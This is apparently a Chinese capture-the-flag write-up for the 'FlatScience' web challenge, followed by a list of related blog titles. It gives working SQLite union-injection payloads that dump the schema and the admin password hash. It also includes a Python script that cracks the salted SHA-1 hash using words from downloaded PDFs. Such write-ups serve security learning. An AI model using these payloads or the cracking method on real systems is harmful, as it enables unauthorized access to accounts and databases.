题目分析

首先拿到题目一脸懵逼,就是套娃界面,一层一层的pdf论文存放的目录。

所以先扫一下目录

发现存在admin.php和login.php,且扫描结果显示login.php有sql注入漏洞

尝试了一下发现登陆成功后就跳转到首页了

并且设置了一个cookie内容为+admin

我明明使用test登陆的结果却显示的admin,应该是没有test用户,所以默认取得数据库第一条记录。

然后去看看admin.php

发现提示为“do not even try to bypass this ”

尝试弱口令失败

看了wp才知道有个关键点是

有一个提示是“TODO: Remove ?debug-Parameter!”

所以要构建

http://159.138.137.79:55036/login.php?debug

得到关键部分代码

if(isset($_POST['usr']) && isset($_POST['pw'])){ $user = $_POST['usr']; $pass = $_POST['pw']; $db = new SQLite3('../fancy.db'); $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"); if($res){ $row = $res->fetchArray(); } else{ echo "<br>Some Error occourred!"; } if(isset($row['id'])){ setcookie('name',' '.$row['name'], time() + 60, '/'); header("Location: /"); die(); }
}

解题流程

原来还是得从login.php注入入手。

使用联合查询

在查数据库的时候尝试构建语句查询失败

usr=test' union select 1,database() --&pw=a

发现是SQLite3 ,和常规的mysql的语句有不同,所以百度补一波SQLite3的注入

发现SQLite注入一般是使用sqlite_master隐藏表

usr=test' union select name,sql from sqlite_master; --&pw=a

得到

CREATE TABLE Users(id int primary key,name  varchar(255),password varchar(255),hint varchar(255))

所以我们得到存在Users表的字段为id,name,password,hint
这边容易查询得到admin的password

usr=test' union select 1,(select password from Users limit 0,1) --&pw=a

得到

sha1($pass."Salz!")

结果为3fab54a50e770d830c0416df817567662a9dc85c
然后查询一下hint

usr=test' union select 1,(select hint from Users limit 0,1) --&pw=a

结果为‘my fav word in my fav paper?!’
意思就是密码在他的其中一篇paper里面喽??

随便找了个整站下载软件,先把所有的pdf给下载下来

总共应该是30篇paper

最后拿到大佬的exp,在我python3的环境中调着跑了一下

from io import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlibdef get_pdf():#打开pdf文件return [i for i in os.listdir("./") if i.endswith("pdf")]def convert_pdf_2_text(path):#获取pdf文本rsrcmgr = PDFResourceManager()retstr = StringIO()device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())interpreter = PDFPageInterpreter(rsrcmgr, device)with open(path, 'rb') as fp:for page in PDFPage.get_pages(fp, set()):interpreter.process_page(page)text = retstr.getvalue()device.close()retstr.close()return textdef find_password():#读取密码pdf_path = get_pdf()for i in pdf_path:print("Searching word in " + i)pdf_text = convert_pdf_2_text(i).split(" ")for word in pdf_text:sha1_password = hashlib.sha1((word + "Salz!").encode()).hexdigest()if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':print("Find the password :" + word)exit()if __name__ == "__main__":find_password()

得到admin的密码为ThinJerboa

最后在admin.php中登陆即可拿到flag

攻防世界-web-FlatScience-从0到1的解题历程writeup相关推荐

  1. 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth)WriteUp

    文章目录 解题部分 总结: 解题部分 题目来源 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth) 1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示 ...

  2. 攻防世界-web高手进阶区

    文章目录 攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...

  3. CTF:攻防世界web PART01

    写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 攻防世界web PART01 baby_web Traini ...

  4. 攻防世界——web新手题

    攻防世界----web新手题 1. robots 打开题目场景,发现与robots协议有关,上网搜索robots协议的内容: Robots协议(也称为爬虫协议.机器人协议等)的全称是"网络爬 ...

  5. 攻防世界 web高手进阶区 10分题 weiphp

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...

  6. 攻防世界Web题 - unseping 总结

    攻防世界Web题 - unseping 总结 1.审题 进入题目,可以看出来是典型的php反序列化题目. 2.源代码分析 <?php highlight_file(__FILE__); //显示 ...

  7. 攻防世界 web高手进阶区 8分题 Web_python_block_chain

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是Web_python_block_chain的writeup 解题过程 这是个区块链题 这..裂开了啊 没搞过区块链 从零开始学习 ...

  8. 攻防世界web进阶区Web_php_wrong_nginx_config详解

    攻防世界web进阶区Web_php_wrong_nginx_config详解 题目 详解 题目 打开发现无论我们输入什么他都会弹出网站建设不完全 那么我们使用御剑进行扫描,扫描到了admin和robo ...

  9. 攻防世界-web新手区wp

    攻防世界-web新手区wp view source robots backup cookie disabled_button weak auth simple php get_post xff_ref ...

  10. 攻防世界WEB进阶之ics-05

    攻防世界WEB进阶之ics-05 1.描述 2.实操 3.答案 1.描述 难度系数: 3星 题目来源: XCTF 4th-CyberEarth 题目描述:其他破坏者会利用工控云管理系统设备维护中心的后 ...

最新文章

  1. linux进程状态d状态,Linux下进程的状态
  2. UVa12583 - Memory Overflow
  3. 清北学堂模拟赛d2t4 最大值(max)
  4. .NET CORE编写控制台程序应有的优雅姿势(转载)
  5. 有名管道和无名管道的区别
  6. MPEG-2TS码流编辑的原理及其应用(转载
  7. android studio运行手机时出错怎么解决_小程序 android ios h5解决方案
  8. Python带*参数和带**参数
  9. 本部裁员、分部招人,科技公司的岗位都奔向了外地?
  10. MSP430F149学习之路——比较器Comparaor_A
  11. Oracle SqlLoader使用
  12. Kafka的Topic删不掉
  13. Vlan 间路由的方法
  14. 小米9 淘宝 618列车加油 脚本 Android10 MIUI11
  15. linux上配置zabbix并设置企业微信,机器人以及自主告警
  16. 读王小波《黄金时代》有感
  17. 第一章:ORM框架发展历程和MyBatis的核心应用
  18. js replace 与replaceall实例用法
  19. python 随机生成手机号码_Python实现随机创建电话号码的方法示例
  20. Python爬虫之猫眼APP电影数据(十八)

热门文章

  1. 四十一、完成scrapy爬取官方网站新房的数据
  2. 来试试读论文的新神器!AMiner发布“论文背景文献”一键生成工具,帮你搞清一篇论文的“来龙去脉”...
  3. DNN盛行的当下,老旧的核(kernel)方法或能打开神经网络的魔盒
  4. 今日arXiv精选 | 近期必读的5篇Transformers相关论文
  5. 探究Softmax的替代品:exp(x)的偶次泰勒展开式总是正的
  6. 它来了,它来了,最强目标检测算法YOLO v4,它真的来了!!!
  7. 阿里巴巴虾米的机器学习与深度学习进阶记
  8. 【Java基础】一篇文章读懂多线程
  9. is_best = recent_bleu4 > best_bleu4
  10. python深度学习NER任务中:对段落的分割